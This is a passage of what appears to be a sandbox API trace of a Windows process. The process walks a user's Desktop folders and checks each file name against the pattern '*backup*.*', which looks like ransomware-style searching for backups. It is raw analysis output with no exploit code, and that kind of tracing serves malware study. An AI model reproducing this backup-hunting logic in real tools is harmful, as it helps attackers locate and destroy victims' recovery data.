lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x33aaaa0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", lpUsedDefaultChar=0x0) returned 50 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ba0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.659] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*backup*.*") returned 0 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x211ac30, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", lpUsedDefaultChar=0x0) returned 40 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ca0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.660] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*backup*.*") returned 0 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x33aaca0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", lpUsedDefaultChar=0x0) returned 49 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.660] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*backup*.*") returned 0 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0099.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x2112c48, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", lpUsedDefaultChar=0x0) returned 63 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430ec0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.660] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*backup*.*") returned 0 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0099.660] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0099.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x33aab60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430ea0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.661] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*backup*.*") returned 0 [0099.661] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430470 | out: hHeap=0x2110000) returned 1 [0099.661] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0099.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x33ab3d8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", lpUsedDefaultChar=0x0) returned 65 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430d60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.661] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*backup*.*") returned 0 [0099.661] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0099.661] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2f8 | out: hHeap=0x2110000) returned 1 [0099.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0099.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x33ab388, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", lpUsedDefaultChar=0x0) returned 69 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430e80, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.662] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*backup*.*") returned 0 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x33ab338, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", lpUsedDefaultChar=0x0) returned 70 [0099.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.662] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*backup*.*") returned 0 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa5b8 | out: hHeap=0x2110000) returned 1 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x33ab2e8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", lpUsedDefaultChar=0x0) returned 70 [0099.662] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*backup*.*") returned 0 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa668 | out: hHeap=0x2110000) returned 1 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpUsedDefaultChar=0x0) returned 45 [0099.662] PathMatchSpecW (pszFile="FfCPM", pszSpec="*backup*.*") returned 0 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", lpUsedDefaultChar=0x0) returned 48 [0099.663] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*backup*.*") returned 0 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x2112e40, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", lpUsedDefaultChar=0x0) returned 60 [0099.663] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*backup*.*") returned 0 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x33aaaa0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.663] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*backup*.*") returned 0 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x211ae10, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpUsedDefaultChar=0x0) returned 39 [0099.663] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*backup*.*") returned 0 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.663] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", lpUsedDefaultChar=0x0) returned 41 [0099.664] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*backup*.*") returned 0 [0099.664] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.664] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x33ab838, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", lpUsedDefaultChar=0x0) returned 65 [0099.664] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*backup*.*") returned 0 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x21128e8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", lpUsedDefaultChar=0x0) returned 62 [0099.664] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*backup*.*") returned 0 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x2112ae0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", lpUsedDefaultChar=0x0) returned 61 [0099.664] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*backup*.*") returned 0 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0099.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x33ab6a8, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", lpUsedDefaultChar=0x0) returned 67 [0099.664] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpUsedDefaultChar=0x0) returned 42 [0099.665] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x211ac30, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", lpUsedDefaultChar=0x0) returned 40 [0099.665] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", lpUsedDefaultChar=0x0) returned 43 [0099.665] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 